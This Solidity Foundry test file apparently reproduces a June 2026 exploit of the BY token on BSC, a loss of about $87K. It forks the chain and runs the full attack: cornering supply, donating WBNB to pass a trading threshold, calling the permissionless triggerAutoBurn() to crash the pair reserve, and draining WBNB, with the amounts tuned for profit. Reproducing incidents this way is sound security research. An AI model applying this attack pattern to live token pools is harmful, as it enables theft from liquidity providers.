src/test/2026-06/BYToken_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$87,402 (146.60 WBNB drained from the BY/WBNB PancakeSwap pair)
8// Attacker EOA     : 0x047547A4fa4a67C1032d249B49EC1a79c0460BAD
9// Attacker Contract: 0xc08106a36BfA9CFad264F0d64fC45B93543485Ec
10// Vulnerable       : 0x6f50cffEcd4e00EcF7E442774C08c089450B62Ca (BY token)
11// Victim pair      : 0x1F358e18e0DB68FF33C2319C8DaD328eDF9B7059 (BY/WBNB)
12// Attack Tx        : 0xe31c681eee764fb94b1b6bda3bbb0e4f25acb129c19040b9f58ad30541980979
13// Attack date      : June 4, 2026  Chain: BSC  Block: 102329719
14// SlowMist         : https://hacked.slowmist.io/ (BY, BSC, ~$87.4K)
15//
16// Root cause: triggerAutoBurn() is permissionless.
17// Attacker corners BY supply via router, donates WBNB to hit trading threshold,
18// triggers burn to crash BY reserve, then sells tiny BY to drain WBNB.
19 
20interface IBYToken is IERC20 {
21    function triggerAutoBurn() external;
22    function lastBurnTimestamp() external view returns (uint256);
23    function BURN_INTERVAL() external view returns (uint256);
24    function getBNBPrice() external view returns (uint256);
25    function TRADING_ENABLE_BNB_THRESHOLD() external view returns (uint256);
26    function tradingEnabled() external view returns (bool);
27}
28 
29contract BYTokenExploitTest is Test {
30    IBYToken constant BY     = IBYToken(0x6f50cffEcd4e00EcF7E442774C08c089450B62Ca);
31    IERC20   constant WBNBT  = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
32    IPancakePair constant PAIR = IPancakePair(0x1F358e18e0DB68FF33C2319C8DaD328eDF9B7059);
33    IPancakeRouter constant ROUTER = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
34 
35    uint256 constant ATTACK_BLOCK = 102_329_719;
36    uint256 constant FLASH_AMOUNT = 422_497e18;
37    uint256 constant BUY1    = 7_098_440_043_949_538_042_178;
38    uint256 constant DONATE  = 32_754_957_105_274_843_900_451;
39    uint256 constant BUY2    = 37_183_223_545_589_637_811_339;
40 
41    function setUp() public {
42        vm.createSelectFork("bsc", ATTACK_BLOCK - 1);
43        vm.label(address(BY),    "BY");
44        vm.label(address(WBNBT), "WBNB");
45        vm.label(address(PAIR),  "BY/WBNB-Pair");
46        uint256 lastBurn = BY.lastBurnTimestamp();
47        uint256 interval = BY.BURN_INTERVAL();
48        vm.warp(lastBurn + interval + 1);
49    }
50 
51    function testRecon() public view {
52        (uint112 rBY, uint112 rWBNB,) = PAIR.getReserves();
53        console.log("BY   reserve:", uint256(rBY)   / 1e18);
54        console.log("WBNB reserve:", uint256(rWBNB) / 1e18, "(prize)");
55        console.log("tradingEnabled:", BY.tradingEnabled());
56    }
57 
58    function testExploit() public {
59        deal(address(WBNBT), address(this), FLASH_AMOUNT);
60        uint256 wbnbBefore = WBNBT.balanceOf(address(this));
61 
62        WBNBT.approve(address(ROUTER), type(uint256).max);
63        BY.approve(address(ROUTER), type(uint256).max);
64 
65        address[] memory wToBY = new address[](2);
66        wToBY[0] = address(WBNBT); wToBY[1] = address(BY);
67 
68        address[] memory byToW = new address[](2);
69        byToW[0] = address(BY); byToW[1] = address(WBNBT);
70 
71        uint256 dl = block.timestamp + 1000;
72 
73        // Step 1: corner buy - BY discarded to router
74        ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(BUY1, 0, wToBY, address(ROUTER), dl);
75 
76        // Step 2: donate WBNB + sync to hit trading threshold
77        WBNBT.transfer(address(PAIR), DONATE);
78        PAIR.sync();
79 
80        // Step 3: buy BY for self
81        ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(BUY2, 0, wToBY, address(this), dl);
82 
83        // Step 4: burn BY from pair - crashes reserve
84        BY.triggerAutoBurn();
85 
86        // Step 5: drain 1 wei x5
87        for (uint256 i; i < 5; i++) {
88            ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(1, 0, byToW, address(this), dl);
89        }
90 
91        // Step 6: sell remaining BY
92        uint256 byBal = BY.balanceOf(address(this));
93        if (byBal > 0) {
94            ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(byBal, 0, byToW, address(this), dl);
95        }
96 
97        uint256 wbnbAfter = WBNBT.balanceOf(address(this));
98        uint256 profit = wbnbAfter > wbnbBefore ? wbnbAfter - wbnbBefore : 0;
99        console.log("WBNB before:", wbnbBefore / 1e18);
100        console.log("WBNB after :", wbnbAfter  / 1e18);
101        console.log("Profit WBNB:", profit / 1e18);
102 
103        assertGt(profit, 0, "no profit");
104    }
105}